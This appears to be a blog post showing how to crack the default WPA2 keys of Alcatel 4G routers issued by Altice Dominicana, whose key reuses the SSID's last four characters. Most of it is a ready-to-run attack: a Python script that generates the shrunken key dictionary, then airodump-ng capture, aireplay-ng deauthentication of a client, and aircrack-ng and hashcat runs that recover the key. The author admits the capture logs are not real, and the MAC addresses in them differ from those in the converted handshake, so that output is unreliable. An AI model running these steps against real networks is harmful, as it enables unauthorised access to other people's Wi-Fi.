I must start saying: this isn’t a sophisticated technique, this is just a simple use of common sense. I don’t have a Data plan on my mobile phone, instead I have a portable WiFi router so I can do cool stuff like share my internet connection to several devices using an Anonabox. In order to acquire a SIM for this we must buy the mobile router to the ISP and I noticed something interesting: the WPA2-PSK is really easy to guess.
What is WPA2-PSK?
Short for Wi-Fi Protected Access 2 - Pre-Shared Key, and also called WPA or WPA2 Personal, it is a method of securing your network using WPA2 with the use of the optional Pre-Shared Key (PSK) authentication, which was designed for home users without an enterprise authentication server.
To encrypt a network with WPA2-PSK you provide your router not with an encryption key, but with a plain-English passphrase between 8 and 63 characters long. Using a technology called TKIP (for Temporal Key Integrity Protocol), that passphrase, along with the network SSID, is used to generate unique encryption keys for each wireless client. And those encryption keys are constantly changed. Although WEP also supports passphrases, it does it only as a way to easily create static keys, which are usually comprised of the hex characters 0-9 and A-F.
An explicit SSID and a weak Password
I recently renew my contract with the ISP, in this case: Altice Dominicana. They gave me a new Alcatel 4G Wireless Router and again, they ship the router with the same old pattern again and again. The service is really good, kudos for Altice, that’s why I keep choosing them, but since I don’t trust my privacy to anyone, I’m always looking for weak vectors to protect myself.
The default setting is simple:
SSID: Internet Movil Orange_SUFFIX
KEY: ZZZZSUFFIX
Where SUFFIX
is a 4 characters long alphanumeric string shared between the SSID and the Key; and ZZZZ
is another 4 characters long alphanumeric string that completes a 8 characters long alphanumeric string. The default key contains only capitalize letters and vocals and numbers between 0 to 9, so our base is: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 (36 possible options). Now, because we already know the last 4 characters (SUFFIX
) we’re ending up with 1,679,616 [36x36x36x36] possible outcomes. To generate the dictionary we’re going to use next code:
#!/usr/bin/env python
"""Generate a dictionary for mobile WiFi router of Altice Dominicana
We're going to create a file with all possible outcomes based on the
suffix present in the SSID.
"""
import argparse
import itertools
import random
def main(suffix, filename):
base = 'QAZWSXEDCRFVTGBYHNUJMIKOLP0129834756'
product = itertools.product(base, repeat=4)
keys = []
for product in product:
keys.append('{}{}'.format(''.join(product), suffix))
random.shuffle(keys)
with open(filename, 'w') as f:
for key in keys:
f.write("%s\n" % key)
if __name__== "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("suffix", help="Final 4 chars of the SSID.")
parser.add_argument("file", help="Dictionary filename.")
args = parser.parse_args()
main(args.suffix, args.file)
Enough theory…
Let’s have some fun
First, let’s make sure we properly identify our attached network devices. Assuming you didn’t get any errors, the response of said command should give results that look something like this:
$ sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 brcmfmac Broadcom 43430
phy1 wlan1 rt2800usb Ralink Technology, Corp. RT5370
Good, now we need to start the monitor mode to catch our SSID:
$ sudo airodump-ng wlan1mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54:A0:50:DA:7B:98 -76 1 0 0 1 54e WPA2 CCMP PSK RTINC-24
FC:15:B4:CF:0A:55 -70 2 0 0 6 54e. WPA2 CCMP PSK HP-Print-55-ENVY 4500 series
A8:4E:3F:73:DD:88 -67 3 0 0 6 54e. WPA2 CCMP PSK Internet Movil Orange_2DED
4C:8B:30:83:ED:91 -71 2 0 0 1 54e WPA2 CCMP PSK TELL-US-2.4G
CTRL+C
Note: At the moment I’m writing this, my Pi crashed so I can’t have the real logs. Sorry.
Internet Movil Orange_2DED
is our AP, so we need the BSSID: A8:4E:3F:73:DD:88. Let’s see if we can deauthenticate somebody:
$ sudo airodump-ng --bssid A8:4E:3F:73:DD:88 --channel 6 --write data wlan1mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
A8:4E:3F:73:DD:88 -67 3 0 0 6 54e. WPA2 CCMP PSK Internet Movil Orange_2DED
BSSID STATION POWER Rate Lost Frames Probe
A8:4E:3F:73:DD:88 00:08:22:B9:41:A1 -1 1-e 0 0 450
Without stoping this, let’s try to get 00:08:22:B9:41:A1
deauthenticated:
$ sudo aireplay-ng -0 5 -a A8:4E:3F:73:DD:88 -c 00:08:22:B9:41:A1 wlan0mon
12:41:56 Waiting for beacon frame (BSSID: A8:4E:3F:73:DD:88) on channel 6
12:41:57 Sending 64 directed DeAuth. STMAC: [00:08:22:B9:41:A1] [ 0| 0 ACKs]
12:41:58 Sending 64 directed DeAuth. STMAC: [00:08:22:B9:41:A1] [ 0| 0 ACKs]
12:41:58 Sending 64 directed DeAuth. STMAC: [00:08:22:B9:41:A1] [ 0| 0 ACKs]
12:41:59 Sending 64 directed DeAuth. STMAC: [00:08:22:B9:41:A1] [ 0| 0 ACKs]
12:42:00 Sending 64 directed DeAuth. STMAC: [00:08:22:B9:41:A1] [ 0| 0 ACKs]
If everything works, the client will be authenticated again and we’re going to have our Probe
:
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
A8:4E:3F:73:DD:88 -67 3 0 0 6 54e. WPA2 CCMP PSK Internet Movil Orange_2DED
BSSID STATION POWER Rate Lost Frames Probe
A8:4E:3F:73:DD:88 00:08:22:B9:41:A1 -1 1-e 0 0 450 Internet Movil Orange_2DED
Now we can stop that, generate our dictionary and crack the key.
Crack! Baby! Crack!
My Rasbperry Pi crashed trying to upload the .cap (data-01.cap) file, so I had to copy the file from the SDCARD directly. It is not recommended to run a dictionary attack using the Pi anyways, so…
Let’s generate the dictionary:
$ python generate_altice_dictionary.py 2DED passwords.txt
$ wc -l passwords.txt
1679616 passwords.txt
Cool, let’s try with aircrack-ng:
$ aircrack-ng data-01.cap -w passwords.txt
[00:11:03] 1420180/1679610 keys tested (2813.99 k/s)
Time left: 1 minute, 32 seconds 84.55%
KEY FOUND! [ CF832DED ]
Master Key : 11 C6 60 D4 1F 20 99 A9 C7 71 F7 3C 96 8C D3 5C
4A 50 25 27 3B 16 C8 A2 98 95 1B 9D 4E 44 D5 65
Transient Key : 4B 18 E2 ED 5A 18 6C 4E 56 BA 72 83 C0 EE D7 DA
34 E2 49 05 8D 27 11 77 50 71 B6 F9 1B F8 BD CB
86 9C ED D3 05 AA DF 83 90 DF EC D4 94 76 6D 60
E2 F9 62 BD 9B 78 3E 30 49 A5 B8 6D 29 54 BA 00
EAPOL HMAC : BD 03 DA 13 18 85 F8 13 12 F5 5D 07 B8 A7 E3 86
Bingo! CF832DED
is the KEY! It took almost 15 minutes to crack it, but it did it.
Bonus: Let’s try with hashcat
We already found the key, but let’s try with hashcat. Our first step is to convert the .cap file to .hccapx, so we’ll need hashcat-utils:
$ git clone https://github.com/hashcat/hashcat-utils.git
Cloning into 'hashcat-utils'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 416 (delta 0), reused 1 (delta 0), pack-reused 413
Receiving objects: 100% (416/416), 126.03 KiB | 837.00 KiB/s, done.
Resolving deltas: 100% (262/262), done.
$ cd hashcat-utils/src
$ make
rm -f ../bin/*
rm -f *.bin *.exe
cc -Wall -W -pipe -O2 -std=gnu99 -o cap2hccapx.bin cap2hccapx.c
...
Good… let’s convert our file:
$ cap2hccapx.bin data-01.cap output.hccapx
Networks detected: 1
[*] BSSID=9c:4f:cf:83:2d:ed ESSID=Internet Movil Orange_2DED (Length: 26)
--> STA=c0:ee:fb:33:a9:e0, Message Pair=0, Replay Counter=0
--> STA=c0:ee:fb:33:a9:e0, Message Pair=2, Replay Counter=0
Written 2 WPA Handshakes to: output.hccapx
Excellent, now we’re ready:
$ hashcat -m 2500 output.hccapx passwords.txt
hashcat (v4.1.0-90-geb563f5a) starting...
OpenCL Platform #1: Apple
=========================
* Device #1: Intel(R) Core(TM) i7-3520M CPU @ 2.90GHz, skipped.
* Device #2: HD Graphics 4000, 384/1536 MB allocatable, 16MCU
Hashes: 2 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger disabled.
Dictionary cache built:
* Filename..: passwords.txt
* Passwords.: 1679616
* Bytes.....: 15116544
* Keyspace..: 1679616
* Runtime...: 0 secs
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
f8c03f93dd1affe7727f5e4c78a4d9b1:9c4fcf832ded:c0eefb33a9e0:Internet Movil Orange_2DED:CF832DED
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA/WPA2
Hash.Target......: Internet Movil Orange_2DED (AP:9c:4f:cf:83:2d:ed STA:c0:ee:fb:33:a9:e0)
Time.Started.....: Sat Sep 29 20:04:06 2018 (7 mins, 42 secs)
Time.Estimated...: Sat Sep 29 20:11:48 2018 (0 secs)
Guess.Base.......: File (passwords.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#2.....: 3122 H/s (9.08ms) @ Accel:8 Loops:2 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1441792/1679616 (85.84%)
Rejected.........: 0/1441792 (0.00%)
Restore.Point....: 1376256/1679616 (81.94%)
Candidates.#2....: XTTB2DED -> ISI52DED
Started: Sat Sep 29 20:03:40 2018
Stopped: Sat Sep 29 20:11:49 2018
Eureka! the key was found faster: Internet Movil Orange_2DED:CF832DED
.
Conclusion
This wasn’t rockets science and it should be valid for others ISPs around the world. I think at first glance this shouldn’t be a problem for Altice, but I’ve seen this mobile routers being used for little business and that’s scary. Maybe Altice’s engineers and managers didn’t anticipate the success of the service and overlooked this flaw in order to provide an easy to use WiFi service.
Also hashcat is faster! :)